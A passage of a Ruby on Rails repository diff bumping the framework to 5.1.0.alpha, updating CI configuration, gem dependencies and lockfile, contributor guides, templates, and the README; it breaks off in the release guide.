diff options
1746 files changed, 65068 insertions, 27854 deletions
diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000000..f6276855ce --- /dev/null +++ b/.gitattributes @@ -0,0 +1,2 @@ +*.rb diff=ruby +*.gemspec diff=ruby diff --git a/.github/issue_template.md b/.github/issue_template.md new file mode 100644 index 0000000000..2d071d4a71 --- /dev/null +++ b/.github/issue_template.md @@ -0,0 +1,15 @@ +### Steps to reproduce + +(Guidelines for creating a bug report are [available +here](http://guides.rubyonrails.org/contributing_to_ruby_on_rails.html#creating-a-bug-report)) + +### Expected behavior +Tell us what should happen + +### Actual behavior +Tell us what happens instead + +### System configuration +**Rails version**: + +**Ruby version**: diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md new file mode 100644 index 0000000000..48f7b0e214 --- /dev/null +++ b/.github/pull_request_template.md @@ -0,0 +1,18 @@ +### Summary + +Provide a general description of the code changes in your pull +request... were there any bugs you had fixed? If so, mention them. If +these bugs have open GitHub issues, be sure to tag them here as well, +to keep the conversation linked together. + +### Other Information + +If there's anything else that's important and relevant to your pull +request, mention that information here. This could include +benchmarks, or other information. + +Finally, if your pull request affects documentation or any non-code +changes, guidelines for those changes are [available +here](http://guides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation) + +Thanks for contributing to Rails! diff --git a/.gitignore b/.gitignore index c3cb009140..9268977c2f 100644 --- a/.gitignore +++ b/.gitignore @@ -1,11 +1,11 @@ # Don't put *.swp, *.bak, etc here; those belong in a global ~/.gitignore. # Check out https://help.github.com/articles/ignoring-files for how to set that up. -debug.log .Gemfile -/.bundle -/.ruby-version +.ruby-version +debug.log pkg +/.bundle /dist /doc/rdoc /*/doc diff --git a/.travis.yml b/.travis.yml index 0038668ae7..9603e66017 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,36 +1,72 @@ language: ruby sudo: false -script: 'ci/travis.rb' + +cache: + bundler: true + directories: + - /tmp/cache/unicode_conformance + - /tmp/beanstalkd-1.10 + +services: + - memcached + - redis + - rabbitmq + +addons: + postgresql: "9.4" + +bundler_args: --without test --jobs 3 --retry 3 +#FIXME: Remove bundler uninstall on Travis when https://github.com/bundler/bundler/issues/4493 is fixed. before_install: - - gem install bundler + - rvm @global do gem uninstall bundler --all --ignore-dependencies --executables + - rvm @global do gem install bundler -v '1.11.2' + - bundle --version - "rm ${BUNDLE_GEMFILE}.lock" + - "[ -f /tmp/beanstalkd-1.10/Makefile ] || (curl -L https://github.com/kr/beanstalkd/archive/v1.10.tar.gz | tar xz -C /tmp)" + - "pushd /tmp/beanstalkd-1.10 && make && (./beanstalkd &); popd" + before_script: - bundle update -cache: bundler + +script: 'ci/travis.rb' + env: - global: - - JRUBY_OPTS='-J-Xmx1024M' matrix: - "GEM=railties" - "GEM=ap" + - "GEM=ac" + - "GEM=ac FAYE=1" - "GEM=am,amo,as,av,aj" - - "GEM=ar:mysql" + - "GEM=as PRESERVE_TIMEZONES=1" - "GEM=ar:mysql2" - "GEM=ar:sqlite3" - "GEM=ar:postgresql" - "GEM=aj:integration" + - "GEM=guides" + rvm: - - 2.2.1 + - 2.2.5 + - 2.3.1 - ruby-head - - rbx-2 - - jruby-head + matrix: + include: + # Latest compiled version in http://rubies.travis-ci.org + - rvm: 2.3.1 + env: + - "GEM=ar:mysql2" + addons: + mariadb: 10.0 + - rvm: jruby-9.0.5.0 + jdk: oraclejdk8 + env: + - "JRUBY_OPTS='--dev -J-Xmx1024M'" + - "GEM='ap'" allow_failures: - - env: "GEM=ar:mysql" - rvm: ruby-head - - rvm: rbx-2 - - rvm: jruby-head + - rvm: jruby-9.0.5.0 fast_finish: true + notifications: email: false irc: @@ -43,10 +79,3 @@ notifications: on_failure: always rooms: - secure: "YA1alef1ESHWGFNVwvmVGCkMe4cUy4j+UcNvMUESraceiAfVyRMAovlQBGs6\n9kBRm7DHYBUXYC2ABQoJbQRLDr/1B5JPf/M8+Qd7BKu8tcDC03U01SMHFLpO\naOs/HLXcDxtnnpL07tGVsm0zhMc5N8tq4/L3SHxK7Vi+TacwQzI=" -bundler_args: --without test --jobs 3 --retry 3 -services: - - memcached - - redis - - rabbitmq -addons: - postgresql: "9.3" diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 0000000000..078d5f1219 --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,12 @@ +# Contributor Code of Conduct + +The Rails team is committed to fostering a welcoming community. + +**Our Code of Conduct can be found here**: + +http://rubyonrails.org/conduct/ + +For a history of updates, see the page history here: + +https://github.com/rails/rails.github.com/commits/master/conduct/index.html + diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 421e7088cb..f6ebef7e89 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,16 +1,46 @@ -Ruby on Rails is a volunteer effort. We encourage you to pitch in. [Join the team](http://contributors.rubyonrails.org)! +## How to contribute to Ruby on Rails -* If you want to submit a bug report please make sure to follow our [reporting guidelines](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#reporting-an-issue). +#### **Did you find a bug?** -* If you want to submit a patch, please read the [Contributing to Ruby on Rails](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html) guide. +* **Ensure the bug was not already reported** by searching on GitHub under [Issues](https://github.com/rails/rails/issues). -* If you want to contribute to Rails documentation, please read the [Contributing to the Rails Documentation](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation) section of the aforementioned guide. +* If you're unable to find an open issue addressing the problem, [open a new one](https://github.com/rails/rails/issues/new). Be sure to include a **title and clear description**, as much relevant information as possible, and a **code sample** or an **executable test case** demonstrating the expected behavior that is not occurring. -*We only accept bug reports and pull requests on GitHub*. +* If possible, use the relevant bug report templates to create the issue. Simply copy the content of the appropriate template into a .rb file, make the necessary changes to demonstrate the issue, and **paste the content into the issue description**: + * [**Active Record** (models, database) issues](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_master.rb) + * [**Action Pack** (controllers, routing) issues](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_master.rb) + * [**Generic template** for other issues](https://github.com/rails/rails/blob/master/guides/bug_report_templates/generic_master.rb) -* If you have a question about how to use Ruby on Rails, please [ask the rubyonrails-talk mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-talk). +* For more detailed information on submitting a bug report and creating an issue, visit our [reporting guidelines](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#reporting-an-issue). -* If you have a change or new feature in mind, please [suggest it on the rubyonrails-core mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core) and start writing code. +#### **Did you write a patch that fixes a bug?** + +* Open a new GitHub pull request with the patch. + +* Ensure the PR description clearly describes the problem and solution. Include the relevant issue number if applicable. + +* Before submitting, please read the [Contributing to Ruby on Rails](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html) guide to know more about coding conventions and benchmarks. + +#### **Did you fix whitespace, format code, or make a purely cosmetic patch?** + +Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted (read more about [our rationales behind this decision](https://github.com/rails/rails/pull/13771#issuecomment-32746700)). + +#### **Do you intend to add a new feature or change an existing one?** + +* Suggest your change in the [rubyonrails-core mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core) and start writing code. + +* Do not open an issue on GitHub until you have collected positive feedback about the change. GitHub issues are primarily intended for bug reports and fixes. + +#### **Do you have questions about the source code?** + +* Ask any question about how to use Ruby on Rails in the [rubyonrails-talk mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-talk). + +#### **Do you want to contribute to the Rails documentation?** + +* Please read [Contributing to the Rails Documentation](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation). + +</br> +Ruby on Rails is a volunteer effort. We encourage you to pitch in and [join the team](http://contributors.rubyonrails.org)! Thanks! :heart: :heart: :heart: @@ -3,97 +3,101 @@ source 'https://rubygems.org' gemspec # We need a newish Rake since Active Job sets its test tasks' descriptions. -gem 'rake', '>= 10.3' +gem 'rake', '>= 11.1' -# This needs to be with require false as it is -# loaded after loading the test library to -# ensure correct loading order +# This needs to be with require false to ensure correct loading order, as it has to +# be loaded after loading the test library. gem 'mocha', '~> 0.14', require: false gem 'rack-cache', '~> 1.2' -gem 'jquery-rails', github: 'rails/jquery-rails', branch: 'master' -gem 'coffee-rails', '~> 4.1.0' -gem 'turbolinks' -gem 'arel', github: 'rails/arel', branch: 'master' -gem 'mail', github: 'mikel/mail' +gem 'jquery-rails' +gem 'coffee-rails', github: 'rails/coffee-rails' +gem 'turbolinks', github: 'turbolinks/turbolinks-rails' # require: false so bcrypt is loaded only when has_secure_password is used. -# This is to avoid ActiveModel (and by extension the entire framework) +# This is to avoid Active Model (and by extension the entire framework) # being dependent on a binary library. -gem 'bcrypt', '~> 3.1.7', require: false +gem 'bcrypt', '~> 3.1.11', require: false -# This needs to be with require false to avoid -# it being automatically loaded by sprockets +# This needs to be with require false to avoid it being automatically loaded by +# sprockets. gem 'uglifier', '>= 1.3.0', require: false +# Track stable branch of sass because it doesn't have circular require warnings. +gem 'sass', github: 'sass/sass', branch: 'stable', require: false + group :doc do gem 'sdoc', '~> 0.4.0' - gem 'redcarpet', '~> 3.2.2', platforms: :ruby + gem 'redcarpet', '~> 3.2.3', platforms: :ruby gem 'w3c_validators' gem 'kindlerb', '0.1.1' end -# ActiveSupport +# Active Support. gem 'dalli', '>= 2.2.1' +gem 'listen', '~> 3.0.5', require: false -# ActiveJob +# Active Job. group :job do - gem 'resque', require: false + gem 'resque', '< 1.26', require: false gem 'resque-scheduler', require: false gem 'sidekiq', require: false gem 'sucker_punch', require: false - gem 'delayed_job', require: false - gem 'queue_classic', require: false, platforms: :ruby - gem 'sneakers', '0.1.1.pre', require: false + gem 'delayed_job', require: false, github: 'collectiveidea/delayed_job' + gem 'queue_classic', github: "QueueClassic/queue_classic", branch: 'master', require: false, platforms: :ruby + gem 'sneakers', require: false gem 'que', require: false gem 'backburner', require: false - gem 'qu-rails', github: "bkeepers/qu", branch: "master", require: false + #TODO: add qu after it support Rails 5.1 + # gem 'qu-rails', github: "bkeepers/qu", branch: "master", require: false gem 'qu-redis', require: false - gem 'delayed_job_active_record', require: false + gem 'delayed_job_active_record', require: false, github: 'collectiveidea/delayed_job_active_record' gem 'sequel', require: false end -# Add your own local bundler stuff +# Action Cable +group :cable do + gem 'puma', require: false + + gem 'em-hiredis', require: false + gem 'hiredis', require: false + gem 'redis', require: false + + gem 'faye-websocket', require: false +end + +# Add your own local bundler stuff. local_gemfile = File.dirname(__FILE__) + "/.Gemfile" instance_eval File.read local_gemfile if File.exist? local_gemfile group :test do - # FIX: Our test suite isn't ready to run in random order yet + # FIX: Our test suite isn't ready to run in random order yet. gem 'minitest', '< 5.3.4' - platforms :mri_19 do - gem 'ruby-prof', '~> 0.11.2' - end - - platforms :mri_21, :mri_22 do + platforms :mri do gem 'stackprof' + gem 'byebug' end - # platforms :mri do - # gem 'byebug' - # end - gem 'benchmark-ips' end -platforms :ruby do - gem 'nokogiri', '>= 1.4.5' +platforms :ruby, :mswin, :mswin64, :mingw, :x64_mingw do + gem 'nokogiri', '>= 1.6.7.1' - # Needed for compiling the ActionDispatch::Journey parser + # Needed for compiling the ActionDispatch::Journey parser. gem 'racc', '>=1.4.6', require: false - # ActiveRecord + # Active Record. gem 'sqlite3', '~> 1.3.6' group :db do gem 'pg', '>= 0.18.0' - gem 'mysql', '>= 2.9.0' - gem 'mysql2', '>= 0.3.18' + gem 'mysql2', '>= 0.4.4' end end platforms :jruby do - gem 'json' if ENV['AR_JDBC'] gem 'activerecord-jdbcsqlite3-adapter', github: 'jruby/activerecord-jdbc-adapter', branch: 'master' group :db do @@ -110,18 +114,20 @@ platforms :jruby do end platforms :rbx do - # The rubysl-yaml gem doesn't ship with Psych by default - # as it needs libyaml that isn't always available. + # The rubysl-yaml gem doesn't ship with Psych by default as it needs + # libyaml that isn't always available. gem 'psych', '~> 2.0' end -# gems that are necessary for ActiveRecord tests with Oracle database +# Gems that are necessary for Active Record tests with Oracle. if ENV['ORACLE_ENHANCED'] platforms :ruby do - gem 'ruby-oci8', '~> 2.1' + gem 'ruby-oci8', '~> 2.2' end gem 'activerecord-oracle_enhanced-adapter', github: 'rsim/oracle-enhanced', branch: 'master' end -# A gem necessary for ActiveRecord tests with IBM DB +# A gem necessary for Active Record tests with IBM DB. gem 'ibm_db' if ENV['IBM_DB'] +gem 'tzinfo-data', platforms: [:mingw, :mswin, :x64_mingw, :jruby] +gem 'wdm', '>= 0.1.0', platforms: [:mingw, :mswin, :x64_mingw, :mswin64] diff --git a/Gemfile.lock b/Gemfile.lock index cd360958d3..504364e552 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,92 +1,103 @@ GIT - remote: git://github.com/bkeepers/qu.git - revision: d098e2657c92e89a6413bebd9c033930759c061f + remote: git://github.com/QueueClassic/queue_classic.git + revision: c26f2c9f6f6133b946fbcdd7b7ec905a4aca9f94 branch: master specs: - qu (0.2.0) - qu-rails (0.2.0) - qu (= 0.2.0) - railties (>= 3.2, < 5) - qu-redis (0.2.0) - qu (= 0.2.0) - redis-namespace + queue_classic (3.2.0.RC1) + pg (>= 0.17, < 0.19) GIT - remote: git://github.com/mikel/mail.git - revision: b159e0a542962fdd5e292a48cfffa560d7cf412e + remote: git://github.com/collectiveidea/delayed_job.git + revision: 71f1d5faf934d3057abca942f0d410327bc69087 specs: - mail (2.6.3.edge) - mime-types (>= 1.16, < 3) + delayed_job (4.1.1) + activesupport (>= 3.0, < 5.1) GIT - remote: git://github.com/rails/arel.git - revision: aac9da257f291ad8d2d4f914528881c240848bb2 - branch: master + remote: git://github.com/collectiveidea/delayed_job_active_record.git + revision: 61e688e03b2ef4004b08de6d1e0a123fda8fffad specs: - arel (7.0.0.alpha) + delayed_job_active_record (4.1.0) + activerecord (>= 3.0, < 5.1) + delayed_job (>= 3.0, < 5) GIT - remote: git://github.com/rails/jquery-rails.git - revision: 272abdd319bb3381b23182b928b25320590096b0 - branch: master + remote: git://github.com/rails/coffee-rails.git + revision: aa2e623cbda4f3c789a0a15d1f707239e68f5736 specs: - jquery-rails (4.0.3) - rails-dom-testing (~> 1.0) - railties (>= 4.2.0) - thor (>= 0.14, < 2.0) + coffee-rails (4.1.1) + coffee-script (>= 2.2.0) + railties (>= 4.0.0, < 5.2.x) + +GIT + remote: git://github.com/sass/sass.git + revision: 3fda1cbe70d615e7ef96e28db4fd1f8a3ebb5505 + branch: stable + specs: + sass (3.4.22) + +GIT + remote: git://github.com/turbolinks/turbolinks-rails.git + revision: 65884729016dbb4d032f12bb01b7e7c1ddeb68ac + specs: + turbolinks (5.0.0.beta2) + turbolinks-source PATH remote: . specs: - actionmailer (5.0.0.alpha) - actionpack (= 5.0.0.alpha) - actionview (= 5.0.0.alpha) - activejob (= 5.0.0.alpha) + actioncable (5.1.0.alpha) + actionpack (= 5.1.0.alpha) + nio4r (~> 1.2) + websocket-driver (~> 0.6.1) + actionmailer (5.1.0.alpha) + actionpack (= 5.1.0.alpha) + actionview (= 5.1.0.alpha) + activejob (= 5.1.0.alpha) mail (~> 2.5, >= 2.5.4) - rails-dom-testing (~> 1.0, >= 1.0.5) - actionpack (5.0.0.alpha) - actionview (= 5.0.0.alpha) - activesupport (= 5.0.0.alpha) - rack (~> 1.6) + rails-dom-testing (~> 2.0) + actionpack (5.1.0.alpha) + actionview (= 5.1.0.alpha) + activesupport (= 5.1.0.alpha) + rack (~> 2.x) rack-test (~> 0.6.3) - rails-dom-testing (~> 1.0, >= 1.0.5) + rails-dom-testing (~> 2.0) rails-html-sanitizer (~> 1.0, >= 1.0.2) - actionview (5.0.0.alpha) - activesupport (= 5.0.0.alpha) + actionview (5.1.0.alpha) + activesupport (= 5.1.0.alpha) builder (~> 3.1) erubis (~> 2.7.0) - rails-dom-testing (~> 1.0, >= 1.0.5) + rails-dom-testing (~> 2.0) rails-html-sanitizer (~> 1.0, >= 1.0.2) - activejob (5.0.0.alpha) - activesupport (= 5.0.0.alpha) - globalid (>= 0.3.0) - activemodel (5.0.0.alpha) - activesupport (= 5.0.0.alpha) - builder (~> 3.1) - activerecord (5.0.0.alpha) - activemodel (= 5.0.0.alpha) - activesupport (= 5.0.0.alpha) - arel (= 7.0.0.alpha) - activesupport (5.0.0.alpha) + activejob (5.1.0.alpha) + activesupport (= 5.1.0.alpha) + globalid (>= 0.3.6) + activemodel (5.1.0.alpha) + activesupport (= 5.1.0.alpha) + activerecord (5.1.0.alpha) + activemodel (= 5.1.0.alpha) + activesupport (= 5.1.0.alpha) + arel (~> 7.0) + activesupport (5.1.0.alpha) + concurrent-ruby (~> 1.0, >= 1.0.2) i18n (~> 0.7) - json (~> 1.7, >= 1.7.7) minitest (~> 5.1) - thread_safe (~> 0.3, >= 0.3.4) tzinfo (~> 1.1) - rails (5.0.0.alpha) - actionmailer (= 5.0.0.alpha) - actionpack (= 5.0.0.alpha) - actionview (= 5.0.0.alpha) - activejob (= 5.0.0.alpha) - activemodel (= 5.0.0.alpha) - activerecord (= 5.0.0.alpha) - activesupport (= 5.0.0.alpha) + rails (5.1.0.alpha) + actioncable (= 5.1.0.alpha) + actionmailer (= 5.1.0.alpha) + actionpack (= 5.1.0.alpha) + actionview (= 5.1.0.alpha) + activejob (= 5.1.0.alpha) + activemodel (= 5.1.0.alpha) + activerecord (= 5.1.0.alpha) + activesupport (= 5.1.0.alpha) bundler (>= 1.3.0, < 2.0) - railties (= 5.0.0.alpha) - sprockets-rails - railties (5.0.0.alpha) - actionpack (= 5.0.0.alpha) - activesupport (= 5.0.0.alpha) + railties (= 5.1.0.alpha) + sprockets-rails (>= 2.0.0) + railties (5.1.0.alpha) + actionpack (= 5.1.0.alpha) + activesupport (= 5.1.0.alpha) method_source rake (>= 0.8.7) thor (>= 0.18.1, < 2.0) @@ -94,86 +105,116 @@ PATH GEM remote: https://rubygems.org/ specs: - amq-protocol (1.9.2) - backburner (0.4.6) - beaneater (~> 0.3.1) - dante (~> 0.1.5) - bcrypt (3.1.10) - beaneater (0.3.3) - benchmark-ips (2.1.1) + amq-protocol (2.0.1) + arel (7.0.0) + backburner (1.3.0) + beaneater (~> 1.0) + dante (> 0.1.5) + bcrypt (3.1.11) + bcrypt (3.1.11-x64-mingw32) + bcrypt (3.1.11-x86-mingw32) + beaneater (1.0.0) + benchmark-ips (2.6.1) builder (3.2.2) - bunny (1.1.9) - amq-protocol (>= 1.9.2) - celluloid (0.16.0) - timers (~> 4.0.0) - coffee-rails (4.1.0) - coffee-script (>= 2.2.0) - railties (>= 4.0.0, < 5.0) - coffee-script (2.3.0) + bunny (2.2.2) + amq-protocol (>= 2.0.1) + byebug (8.2.5) + coffee-script (2.4.1) coffee-script-source execjs - coffee-script-source (1.9.0) - connection_pool (2.1.1) - dalli (2.7.2) - dante (0.1.5) - delayed_job (4.0.6) - activesupport (>= 3.0, < 5.0) - delayed_job_active_record (4.0.3) - activerecord (>= 3.0, < 5.0) - delayed_job (>= 3.0, < 4.1) + coffee-script-source (1.10.0) + concurrent-ruby (1.0.2) + connection_pool (2.2.0) + dalli (2.7.6) + dante (0.2.0) + em-hiredis (0.3.1) + eventmachine (~> 1.0) + hiredis (~> 0.6.0) erubis (2.7.0) - execjs (2.3.0) - globalid (0.3.3) + eventmachine (1.2.0.1) + eventmachine (1.2.0.1-x64-mingw32) + eventmachine (1.2.0.1-x86-mingw32) + execjs (2.6.0) + faye-websocket (0.10.3) + eventmachine (>= 0.12.0) + websocket-driver (>= 0.5.1) + ffi (1.9.10) + ffi (1.9.10-x64-mingw32) + ffi (1.9.10-x86-mingw32) + globalid (0.3.6) activesupport (>= 4.1.0) - hike (1.2.3) - hitimes (1.2.2) + hiredis (0.6.1) i18n (0.7.0) - json (1.8.2) + jquery-rails (4.1.1) + rails-dom-testing (>= 1, < 3) + railties (>= 4.2.0) + thor (>= 0.14, < 2.0) + json (1.8.3) kindlerb (0.1.1) mustache nokogiri - loofah (2.0.1) + listen (3.0.7) + rb-fsevent (>= 0.9.3) + rb-inotify (>= 0.9.7) + loofah (2.0.3) nokogiri (>= 1.5.9) + mail (2.6.4) + mime-types (>= 1.16, < 4) metaclass (0.0.4) method_source (0.8.2) - mime-types (2.4.3) - mini_portile (0.6.2) + mime-types (3.0) + mime-types-data (~> 3.2015) + mime-types-data (3.2016.0221) + mini_portile2 (2.0.0) minitest (5.3.3) mocha (0.14.0) metaclass (~> 0.0.1) mono_logger (1.1.0) - multi_json (1.10.1) - mustache (1.0.0) - mysql (2.9.1) - mysql2 (0.3.18) - nokogiri (1.6.6.2) - mini_portile (~> 0.6.0) - pg (0.18.1) - psych (2.0.13) - que (0.9.2) - queue_classic (3.1.0) - pg (>= 0.17, < 0.19) - racc (1.4.12) - rack (1.6.0) - rack-cache (1.2) + multi_json (1.12.0) + mustache (1.0.3) + mysql2 (0.4.4) + mysql2 (0.4.4-x64-mingw32) + mysql2 (0.4.4-x86-mingw32) + nio4r (1.2.1) + nokogiri (1.6.7.2) + mini_portile2 (~> 2.0.0.rc2) + nokogiri (1.6.7.2-x64-mingw32) + mini_portile2 (~> 2.0.0.rc2) + nokogiri (1.6.7.2-x86-mingw32) + mini_portile2 (~> 2.0.0.rc2) + pg (0.18.4) + pg (0.18.4-x64-mingw32) + pg (0.18.4-x86-mingw32) + psych (2.0.17) + puma (3.4.0) + qu (0.2.0) + multi_json + qu-redis (0.2.0) + qu (= 0.2.0) + redis-namespace + simple_uuid + que (0.11.4) + racc (1.4.14) + rack (2.0.0.rc1) + json + rack-cache (1.6.1) rack (>= 0.4) - rack-protection (1.5.3) - rack rack-test (0.6.3) rack (>= 1.0) - rails-deprecated_sanitizer (1.0.3) - activesupport (>= 4.2.0.alpha) - rails-dom-testing (1.0.5) - activesupport (>= 4.2.0.beta, < 5.0) + rails-dom-testing (2.0.0) + activesupport (>= 4.2.0, < 6.0) nokogiri (~> 1.6.0) - rails-deprecated_sanitizer (>= 1.0.1) - rails-html-sanitizer (1.0.2) + rails-html-sanitizer (1.0.3) loofah (~> 2.0) - rake (10.4.2) - rdoc (4.2.0) - redcarpet (3.2.2) - redis (3.2.1) - redis-namespace (1.5.1) + rake (11.1.2) + rb-fsevent (0.9.7) + rb-inotify (0.9.7) + ffi (>= 0.5.0) + rdoc (4.2.2) + json (~> 1.4) + redcarpet (3.2.3) + redis (3.3.0) + redis-namespace (1.5.2) redis (~> 3.0, >= 3.0.4) resque (1.25.2) mono_logger (~> 1.0) @@ -181,113 +222,118 @@ GEM redis-namespace (~> 1.3) sinatra (>= 0.9.2) vegas (~> 0.1.2) - resque-scheduler (4.0.0) + resque-scheduler (4.2.0) mono_logger (~> 1.0) redis (~> 3.0) resque (~> 1.25) - rufus-scheduler (~> 3.0) - ruby-prof (0.11.3) - rufus-scheduler (3.0.9) - tzinfo + rufus-scheduler (~> 3.2) + rufus-scheduler (3.2.1) sdoc (0.4.1) json (~> 1.7, >= 1.7.7) rdoc (~> 4.0) - sequel (4.19.0) - serverengine (1.5.10) + sequel (4.34.0) + serverengine (1.5.11) sigdump (~> 0.2.2) - sidekiq (3.3.2) - celluloid (>= 0.16.0) - connection_pool (>= 2.1.1) - json - redis (>= 3.0.6) - redis-namespace (>= 1.3.1) - sigdump (0.2.2) - sinatra (1.4.5) - rack (~> 1.4) - rack-protection (~> 1.4) - tilt (~> 1.3, >= 1.3.4) - sneakers (0.1.1.pre) - bunny (~> 1.1.3) - serverengine + sidekiq (4.1.2) + concurrent-ruby (~> 1.0) + connection_pool (~> 2.2, >= 2.2.0) + redis (~> 3.2, >= 3.2.1) + sigdump (0.2.4) + simple_uuid (0.4.0) + sinatra (1.0) + rack (>= 1.0) + sneakers (2.3.5) + bunny (~> 2.2.0) + serverengine (~> 1.5.11) thor - thread - sprockets (2.12.3) - hike (~> 1.2) - multi_json (~> 1.0) - rack (~> 1.0) - tilt (~> 1.1, != 1.3.0) - sprockets-rails (2.2.4) - actionpack (>= 3.0) - activesupport (>= 3.0) - sprockets (>= 2.8, < 4.0) - sqlite3 (1.3.10) - stackprof (0.2.7) - sucker_punch (1.3.2) - celluloid (~> 0.16.0) + thread (~> 0.1.7) + sprockets (3.6.0) + concurrent-ruby (~> 1.0) + rack (> 1, < 3) + sprockets-rails (3.0.4) + actionpack (>= 4.0) + activesupport (>= 4.0) + sprockets (>= 3.0.0) + sqlite3 (1.3.11) + sqlite3 (1.3.11-x64-mingw32) + sqlite3 (1.3.11-x86-mingw32) + stackprof (0.2.9) + sucker_punch (2.0.2) + concurrent-ruby (~> 1.0.0) thor (0.19.1) - thread (0.1.5) - thread_safe (0.3.4) - tilt (1.4.1) - timers (4.0.1) - hitimes - turbolinks (2.5.3) - coffee-rails + thread (0.1.7) + thread_safe (0.3.5) + turbolinks-source (5.0.0.beta4) tzinfo (1.2.2) thread_safe (~> 0.1) - uglifier (2.7.0) - execjs (>= 0.3.0) - json (>= 1.8.0) + tzinfo-data (1.2016.4) + tzinfo (>= 1.0.0) + uglifier (3.0.0) + execjs (>= 0.3.0, < 3) vegas (0.1.11) rack (>= 1.0.0) w3c_validators (1.2) json nokogiri + wdm (0.1.1) + websocket-driver (0.6.3) + websocket-extensions (>= 0.1.0) + websocket-extensions (0.1.2) PLATFORMS ruby + x64-mingw32 + x86-mingw32 DEPENDENCIES activerecord-jdbcmysql-adapter (>= 1.3.0) activerecord-jdbcpostgresql-adapter (>= 1.3.0) activerecord-jdbcsqlite3-adapter (>= 1.3.0) - arel! backburner - bcrypt (~> 3.1.7) + bcrypt (~> 3.1.11) benchmark-ips - coffee-rails (~> 4.1.0) + byebug + coffee-rails! dalli (>= 2.2.1) - delayed_job - delayed_job_active_record - jquery-rails! - json + delayed_job! + delayed_job_active_record! + em-hiredis + faye-websocket + hiredis + jquery-rails kindlerb (= 0.1.1) - mail! + listen (~> 3.0.5) minitest (< 5.3.4) mocha (~> 0.14) - mysql (>= 2.9.0) - mysql2 (>= 0.3.18) - nokogiri (>= 1.4.5) + mysql2 (>= 0.4.4) + nokogiri (>= 1.6.7.1) pg (>= 0.18.0) psych (~> 2.0) - qu-rails! + puma qu-redis que - queue_classic + queue_classic! racc (>= 1.4.6) rack-cache (~> 1.2) rails! - rake (>= 10.3) - redcarpet (~> 3.2.2) - resque + rake (>= 11.1) + redcarpet (~> 3.2.3) + redis + resque (< 1.26) resque-scheduler - ruby-prof (~> 0.11.2) + sass! sdoc (~> 0.4.0) sequel sidekiq - sneakers (= 0.1.1.pre) + sneakers sqlite3 (~> 1.3.6) stackprof sucker_punch - turbolinks + turbolinks! + tzinfo-data uglifier (>= 1.3.0) w3c_validators + wdm (>= 0.1.0) + +BUNDLED WITH + 1.11.2 diff --git a/RAILS_VERSION b/RAILS_VERSION index 2b915d7d5c..8ea1016081 100644 --- a/RAILS_VERSION +++ b/RAILS_VERSION @@ -1 +1 @@ -5.0.0.alpha +5.1.0.alpha @@ -1,4 +1,4 @@ -## Welcome to Rails +# Welcome to Rails Rails is a web-application framework that includes everything needed to create database-backed web applications according to the @@ -34,11 +34,13 @@ Ruby code (ERB files). Views are typically rendered to generate a controller res or to generate the body of an email. In Rails, View generation is handled by Action View. You can read more about Action View in its [README](actionview/README.rdoc). -Active Record, Action Pack, and Action View can each be used independently outside Rails. -In addition to them, Rails also comes with Action Mailer ([README](actionmailer/README.rdoc)), a library +Active Record, Active Model, Action Pack, and Action View can each be used independently outside Rails. +In addition to that, Rails also comes with Action Mailer ([README](actionmailer/README.rdoc)), a library to generate and send emails; Active Job ([README](activejob/README.md)), a framework for declaring jobs and making them run on a variety of queueing -backends; and Active Support ([README](activesupport/README.rdoc)), a collection +backends; Action Cable ([README](actioncable/README.md)), a framework to +integrate WebSockets with a Rails application; +and Active Support ([README](activesupport/README.rdoc)), a collection of utility classes and standard library extensions that are useful for Rails, and may also be used independently outside Rails. @@ -46,23 +48,23 @@ and may also be used independently outside Rails. 1. Install Rails at the command prompt if you haven't yet: - gem install rails + $ gem install rails 2. At the command prompt, create a new Rails application: - rails new myapp + $ rails new myapp where "myapp" is the application name. 3. Change directory to `myapp` and start the web server: - cd myapp - rails server + $ cd myapp + $ rails server Run with `--help` or `-h` for options. 4. Using a browser, go to `http://localhost:3000` and you'll see: -"Welcome aboard: You're riding Ruby on Rails!" +"Yay! You’re on Rails!" 5. Follow the guidelines to start developing your application. You may find the following resources handy: @@ -76,6 +78,8 @@ and may also be used independently outside Rails. We encourage you to contribute to Ruby on Rails! Please check out the [Contributing to Ruby on Rails guide](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html) for guidelines about how to proceed. [Join us!](http://contributors.rubyonrails.org) +Everyone interacting in Rails and its sub-projects' codebases, issue trackers, chat rooms, and mailing lists is expected to follow the Rails [code of conduct](http://rubyonrails.org/conduct/). + ## Code Status [](https://travis-ci.org/rails/rails) diff --git a/RELEASING_RAILS.rdoc b/RELEASING_RAILS.md index 0e09234b82..5ed5a8b029 100644 --- a/RELEASING_RAILS.rdoc +++ b/RELEASING_RAILS.md @@ -1,43 +1,47 @@ -= Releasing Rails +# Releasing Rails In this document, we'll cover the steps necessary to release Rails. Each section contains steps to take during that time before the release. The times suggested in each header are just that: suggestions. However, they should really be considered as minimums. -== 10 Days before release +## 10 Days before release Today is mostly coordination tasks. Here are the things you must do today: -=== Is the CI green? If not, make it green. (See "Fixing the CI") +### Is the CI green? If not, make it green. (See "Fixing the CI") Do not release with a Red CI. You can find the CI status here: - http://travis-ci.org/rails/rails +``` +http://travis-ci.org/rails/rails 